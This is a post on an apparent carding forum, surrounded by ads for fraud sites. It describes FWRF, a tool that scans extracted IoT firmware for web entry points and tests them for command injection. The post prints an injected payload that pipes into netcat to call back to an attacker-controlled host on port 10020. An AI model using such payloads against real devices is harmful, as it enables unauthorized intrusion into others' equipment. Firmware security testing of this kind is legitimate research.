banner Expire 1 October 2024
Ad Ends 13 October 2024
banner Expire 1 November 2024
banner Expire 29 September 2024
ad End 18 October 2024
banner Expire 18 October 2024
banner Expire 20 October 2024
Ad Ends 13 October 2023
What's new
banner Expire 15 October 2024
Kfc CLub
Western union transfer
CrdCrew.cc Carding forum
UniCvv
Ad expire at 5 August 2024
adv exp at 23 August 2024
Carding.pw carding forum

RCE Finder

File_closed07

TRUSTED VERIFIED SELLER
Staff member
Joined
Jun 13, 2020
Messages
7,006
Reaction score
908
Points
212
Awards
2
  • trusted user
  • Rich User
FWRF (don't try to pronounce it) is a open source tool for firmware web-side analysis.

Why FWRF?

Due to some stupids minds, the new trend is to put computers in everything. This poc was initially written for testing some wifi antennas firmware.
The only common element between linux-embedded stuff with web interface is the front side (html/js), the rest can be PHP (ubiquiti), ELF (netgear), some_new_hype_technology... Doesn't matter.
The Goal of FWRF is to find entrypoints, vulnerabilities and try to autosploit them.

How ?

FWRF is composed of 4 parts:

  • File scan : Scan all files in extracted-firmware direcctory
  • Entrypoint scan : extracts urls with args, forms, etc.
  • Check rce : try basic code execution via thoses parameters
  • Test server : Start a test server for manual search
Rce checking
  • A server is started attacker-side (listening to port 10020) and waiting for a tcp packet.
  • the payload sent to {insert here a hype-connected-device name} is echo\t1|nc\tattacker_ip\t10020
  • in case of a dumb code (ex: exec("/bin/do_stuff --foobar $parameter") with controlled parameter, the packet is sent to attacker and FWRF know the attack success.
How to start
Usage

Firmware web rce finder

optional arguments:

-h, --help show this help message and exit
-s, --server run test server only for manual tests
-f BASE_FOLDER, --folder BASE_FOLDER
base folder of the extracted firmware
-r REMOTE_ADDRESS, --remote REMOTE_ADDRESS
Address of live machine (like 192.168.0.1)
-l LOCAL_ADDRESS, --local LOCAL_ADDRESS
Address of this machine (like 192.168.0.1)
-c COOKIES, --cookies COOKIES
Use cookies for authenticated parts
-v, --verbose Verbose mode

  • -s : start the test server, waiting for a tcp packet on port 10020
  • -f : path to the extracted firmware partition
  • -r : remote connected-stuff ip
  • -l : attacker ip (used in payload generation)
  • -c : cookies, if remote interface need authentication ("foo=bar&baz=gu")
  • -v : show more stuff
No magic exploitation

FWRF is not magic, it will only trigger obvious rce. But if you want to search further, it can help. First, use -f and -v parameters, the full list of entry points, parameters and http method is returned. Then, start the test server and search by yourself using the provided payload (or anything sending tcp packet on 10020).
 
Ad End 1 October 2024
Top